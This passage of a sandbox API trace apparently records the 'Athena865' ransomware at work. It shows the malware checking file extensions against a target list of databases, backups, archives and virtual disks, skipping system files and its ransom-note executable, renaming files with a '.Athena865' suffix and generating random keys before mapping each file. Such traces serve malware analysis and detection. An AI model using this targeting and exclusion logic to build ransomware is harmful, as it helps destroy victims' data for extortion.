lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0119.839] lstrlenW (lpString="abs") returned 3 [0119.839] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0119.839] lstrlenW (lpString="abx") returned 3 [0119.839] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0119.839] lstrlenW (lpString="accdb") returned 5 [0119.839] lstrcmpiW (lpString1="l.bmp", lpString2="accdb") returned 1 [0119.839] lstrlenW (lpString="accdc") returned 5 [0119.839] lstrcmpiW (lpString1="l.bmp", lpString2="accdc") returned 1 [0119.839] lstrlenW (lpString="accde") returned 5 [0119.839] lstrcmpiW (lpString1="l.bmp", lpString2="accde") returned 1 [0119.839] lstrlenW (lpString="accdr") returned 5 [0119.839] lstrcmpiW (lpString1="l.bmp", lpString2="accdr") returned 1 [0119.840] lstrlenW (lpString="accdt") returned 5 [0119.840] lstrcmpiW (lpString1="l.bmp", lpString2="accdt") returned 1 [0119.840] lstrlenW (lpString="accdw") returned 5 [0119.840] lstrcmpiW (lpString1="l.bmp", lpString2="accdw") returned 1 [0119.840] lstrlenW (lpString="accft") returned 5 [0119.840] lstrcmpiW (lpString1="l.bmp", lpString2="accft") returned 1 [0119.840] lstrlenW (lpString="adb") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0119.840] lstrlenW (lpString="adb") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0119.840] lstrlenW (lpString="ade") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0119.840] lstrlenW (lpString="adf") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0119.840] lstrlenW (lpString="adn") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0119.840] lstrlenW (lpString="adp") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0119.840] lstrlenW (lpString="alf") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0119.840] lstrlenW (lpString="ask") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0119.840] lstrlenW (lpString="btr") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0119.840] lstrlenW (lpString="cat") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0119.840] lstrlenW (lpString="cdb") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0119.840] lstrlenW (lpString="ckp") returned 3 [0119.840] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0119.841] lstrlenW (lpString="cma") returned 3 [0119.841] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0119.841] lstrlenW (lpString="cpd") returned 3 [0119.841] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0119.841] lstrlenW (lpString="dacpac") returned 6 [0119.841] lstrcmpiW (lpString1="il.bmp", lpString2="dacpac") returned 1 [0119.841] lstrlenW (lpString="dad") returned 3 [0119.841] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0119.841] lstrlenW (lpString="dadiagrams") returned 10 [0119.841] lstrcmpiW (lpString1="mbnail.bmp", lpString2="dadiagrams") returned 1 [0119.841] lstrlenW (lpString="daschema") returned 8 [0119.841] lstrcmpiW (lpString1="nail.bmp", lpString2="daschema") returned 1 [0119.841] lstrlenW (lpString="db-journal") returned 10 [0119.841] lstrcmpiW (lpString1="mbnail.bmp", lpString2="db-journal") returned 1 [0119.841] lstrlenW (lpString="db-shm") returned 6 [0119.841] lstrcmpiW (lpString1="il.bmp", lpString2="db-shm") returned 1 [0119.841] lstrlenW (lpString="db-wal") returned 6 [0119.841] lstrcmpiW (lpString1="il.bmp", lpString2="db-wal") returned 1 [0119.841] lstrlenW (lpString="dbc") returned 3 [0119.841] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0119.841] lstrlenW (lpString="dbs") returned 3 [0119.841] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0119.841] lstrlenW (lpString="dbt") returned 3 [0119.841] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0119.841] lstrlenW (lpString="dbv") returned 3 [0119.841] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0119.841] lstrlenW (lpString="dbx") returned 3 [0119.841] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0119.842] lstrlenW (lpString="dcb") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0119.842] lstrlenW (lpString="dct") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0119.842] lstrlenW (lpString="dcx") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0119.842] lstrlenW (lpString="ddl") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1 [0119.842] lstrlenW (lpString="dlis") returned 4 [0119.842] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1 [0119.842] lstrlenW (lpString="dp1") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1 [0119.842] lstrlenW (lpString="dqy") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1 [0119.842] lstrlenW (lpString="dsk") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1 [0119.842] lstrlenW (lpString="dsn") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1 [0119.842] lstrlenW (lpString="dtsx") returned 4 [0119.842] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1 [0119.842] lstrlenW (lpString="dxl") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1 [0119.842] lstrlenW (lpString="eco") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1 [0119.842] lstrlenW (lpString="ecx") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1 [0119.842] lstrlenW (lpString="edb") returned 3 [0119.842] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1 [0119.842] lstrlenW (lpString="epim") returned 4 [0119.843] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1 [0119.843] lstrlenW (lpString="fcd") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1 [0119.843] lstrlenW (lpString="fdb") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1 [0119.843] lstrlenW (lpString="fic") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1 [0119.843] lstrlenW (lpString="flexolibrary") returned 12 [0119.843] lstrcmpiW (lpString1="humbnail.bmp", lpString2="flexolibrary") returned 1 [0119.843] lstrlenW (lpString="fm5") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1 [0119.843] lstrlenW (lpString="fmp") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1 [0119.843] lstrlenW (lpString="fmp12") returned 5 [0119.843] lstrcmpiW (lpString1="l.bmp", lpString2="fmp12") returned 1 [0119.843] lstrlenW (lpString="fmpsl") returned 5 [0119.843] lstrcmpiW (lpString1="l.bmp", lpString2="fmpsl") returned 1 [0119.843] lstrlenW (lpString="fol") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1 [0119.843] lstrlenW (lpString="fp3") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1 [0119.843] lstrlenW (lpString="fp4") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1 [0119.843] lstrlenW (lpString="fp5") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1 [0119.843] lstrlenW (lpString="fp7") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1 [0119.843] lstrlenW (lpString="fpt") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1 [0119.843] lstrlenW (lpString="frm") returned 3 [0119.843] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1 [0119.844] lstrlenW (lpString="gdb") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0119.844] lstrlenW (lpString="gdb") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0119.844] lstrlenW (lpString="grdb") returned 4 [0119.844] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1 [0119.844] lstrlenW (lpString="gwi") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1 [0119.844] lstrlenW (lpString="hdb") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1 [0119.844] lstrlenW (lpString="his") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1 [0119.844] lstrlenW (lpString="ib") returned 2 [0119.844] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1 [0119.844] lstrlenW (lpString="idb") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1 [0119.844] lstrlenW (lpString="ihx") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1 [0119.844] lstrlenW (lpString="itdb") returned 4 [0119.844] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1 [0119.844] lstrlenW (lpString="itw") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1 [0119.844] lstrlenW (lpString="jet") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1 [0119.844] lstrlenW (lpString="jtx") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1 [0119.844] lstrlenW (lpString="kdb") returned 3 [0119.844] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1 [0119.844] lstrlenW (lpString="kexi") returned 4 [0119.844] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1 [0119.845] lstrlenW (lpString="kexic") returned 5 [0119.845] lstrcmpiW (lpString1="l.bmp", lpString2="kexic") returned 1 [0119.845] lstrlenW (lpString="kexis") returned 5 [0119.845] lstrcmpiW (lpString1="l.bmp", lpString2="kexis") returned 1 [0119.845] lstrlenW (lpString="lgc") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1 [0119.845] lstrlenW (lpString="lwx") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1 [0119.845] lstrlenW (lpString="maf") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1 [0119.845] lstrlenW (lpString="maq") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1 [0119.845] lstrlenW (lpString="mar") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1 [0119.845] lstrlenW (lpString="marshal") returned 7 [0119.845] lstrcmpiW (lpString1="ail.bmp", lpString2="marshal") returned -1 [0119.845] lstrlenW (lpString="mas") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1 [0119.845] lstrlenW (lpString="mav") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1 [0119.845] lstrlenW (lpString="maw") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1 [0119.845] lstrlenW (lpString="mdbhtml") returned 7 [0119.845] lstrcmpiW (lpString1="ail.bmp", lpString2="mdbhtml") returned -1 [0119.845] lstrlenW (lpString="mdn") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1 [0119.845] lstrlenW (lpString="mdt") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1 [0119.845] lstrlenW (lpString="mfd") returned 3 [0119.845] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1 [0119.846] lstrlenW (lpString="mpd") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1 [0119.846] lstrlenW (lpString="mrg") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1 [0119.846] lstrlenW (lpString="mud") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1 [0119.846] lstrlenW (lpString="mwb") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1 [0119.846] lstrlenW (lpString="myd") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1 [0119.846] lstrlenW (lpString="ndf") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1 [0119.846] lstrlenW (lpString="nnt") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1 [0119.846] lstrlenW (lpString="nrmlib") returned 6 [0119.846] lstrcmpiW (lpString1="il.bmp", lpString2="nrmlib") returned -1 [0119.846] lstrlenW (lpString="ns2") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1 [0119.846] lstrlenW (lpString="ns3") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1 [0119.846] lstrlenW (lpString="ns4") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1 [0119.846] lstrlenW (lpString="nsf") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1 [0119.846] lstrlenW (lpString="nv") returned 2 [0119.846] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1 [0119.846] lstrlenW (lpString="nv2") returned 3 [0119.846] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1 [0119.846] lstrlenW (lpString="nwdb") returned 4 [0119.846] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1 [0119.847] lstrlenW (lpString="nyf") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1 [0119.847] lstrlenW (lpString="odb") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0119.847] lstrlenW (lpString="odb") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0119.847] lstrlenW (lpString="oqy") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1 [0119.847] lstrlenW (lpString="ora") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1 [0119.847] lstrlenW (lpString="orx") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1 [0119.847] lstrlenW (lpString="owc") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1 [0119.847] lstrlenW (lpString="p96") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1 [0119.847] lstrlenW (lpString="p97") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1 [0119.847] lstrlenW (lpString="pan") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1 [0119.847] lstrlenW (lpString="pdb") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1 [0119.847] lstrlenW (lpString="pdm") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1 [0119.847] lstrlenW (lpString="pnz") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1 [0119.847] lstrlenW (lpString="qry") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1 [0119.847] lstrlenW (lpString="qvd") returned 3 [0119.847] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1 [0119.848] lstrlenW (lpString="rbf") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1 [0119.848] lstrlenW (lpString="rctd") returned 4 [0119.848] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1 [0119.848] lstrlenW (lpString="rod") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1 [0119.848] lstrlenW (lpString="rodx") returned 4 [0119.848] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1 [0119.848] lstrlenW (lpString="rpd") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1 [0119.848] lstrlenW (lpString="rsd") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1 [0119.848] lstrlenW (lpString="sas7bdat") returned 8 [0119.848] lstrcmpiW (lpString1="nail.bmp", lpString2="sas7bdat") returned -1 [0119.848] lstrlenW (lpString="sbf") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1 [0119.848] lstrlenW (lpString="scx") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1 [0119.848] lstrlenW (lpString="sdb") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1 [0119.848] lstrlenW (lpString="sdc") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1 [0119.848] lstrlenW (lpString="sdf") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1 [0119.848] lstrlenW (lpString="sis") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1 [0119.848] lstrlenW (lpString="spq") returned 3 [0119.848] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1 [0119.848] lstrlenW (lpString="te") returned 2 [0119.848] lstrcmpiW (lpString1="mp", lpString2="te") returned -1 [0119.849] lstrlenW (lpString="teacher") returned 7 [0119.849] lstrcmpiW (lpString1="ail.bmp", lpString2="teacher") returned -1 [0119.849] lstrlenW (lpString="tmd") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1 [0119.849] lstrlenW (lpString="tps") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1 [0119.849] lstrlenW (lpString="trc") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0119.849] lstrlenW (lpString="trc") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0119.849] lstrlenW (lpString="trm") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1 [0119.849] lstrlenW (lpString="udb") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1 [0119.849] lstrlenW (lpString="udl") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1 [0119.849] lstrlenW (lpString="usr") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1 [0119.849] lstrlenW (lpString="v12") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1 [0119.849] lstrlenW (lpString="vis") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1 [0119.849] lstrlenW (lpString="vpd") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1 [0119.849] lstrlenW (lpString="vvv") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1 [0119.849] lstrlenW (lpString="wdb") returned 3 [0119.849] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1 [0119.849] lstrlenW (lpString="wmdb") returned 4 [0119.849] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1 [0119.850] lstrlenW (lpString="wrk") returned 3 [0119.850] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1 [0119.850] lstrlenW (lpString="xdb") returned 3 [0119.850] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1 [0119.850] lstrlenW (lpString="xld") returned 3 [0119.850] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1 [0119.850] lstrlenW (lpString="xmlff") returned 5 [0119.850] lstrcmpiW (lpString1="l.bmp", lpString2="xmlff") returned -1 [0119.850] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.Athena865") returned 86 [0119.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.851] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.851] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0119.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.852] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.853] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.853] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.853] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.854] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.855] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.856] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.856] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0119.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0119.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0119.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0119.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.857] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.857] CloseHandle (hObject=0x154) returned 1 [0119.857] CloseHandle (hObject=0x17c) returned 1 [0119.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0119.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.857] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.857] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.857] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.857] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".") returned 1 [0119.857] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="..") returned 1 [0119.857] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="windows") returned -1 [0119.857] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.857] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="temp") returned -1 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="boot") returned 1 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.858] lstrlenW (lpString="rectangle_glass_Thumbnail.bmp") returned 29 [0119.858] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_glass_Thumbnail.bmp" | out: lpString1="rectangle_glass_Thumbnail.bmp") returned="rectangle_glass_Thumbnail.bmp" [0119.858] lstrlenW (lpString="rectangle_glass_Thumbnail.bmp") returned 29 [0119.858] lstrlenW (lpString="Athena865") returned 9 [0119.858] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.858] lstrlenW (lpString=".dll") returned 4 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.858] lstrlenW (lpString=".lnk") returned 4 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.858] lstrlenW (lpString=".ini") returned 4 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.858] lstrlenW (lpString=".sys") returned 4 [0119.858] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.858] lstrlenW (lpString="rectangle_glass_Thumbnail.bmp") returned 29 [0119.858] lstrlenW (lpString="bak") returned 3 [0119.858] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0119.858] lstrlenW (lpString="ba_") returned 3 [0119.858] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0119.858] lstrlenW (lpString="dbb") returned 3 [0119.858] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0119.858] lstrlenW (lpString="vmdk") returned 4 [0119.858] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0119.858] lstrlenW (lpString="rar") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0119.859] lstrlenW (lpString="zip") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0119.859] lstrlenW (lpString="tgz") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0119.859] lstrlenW (lpString="vbox") returned 4 [0119.859] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0119.859] lstrlenW (lpString="vdi") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0119.859] lstrlenW (lpString="vhd") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0119.859] lstrlenW (lpString="vhdx") returned 4 [0119.859] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0119.859] lstrlenW (lpString="avhd") returned 4 [0119.859] lstrcmpiW (lpString1=".bmp", 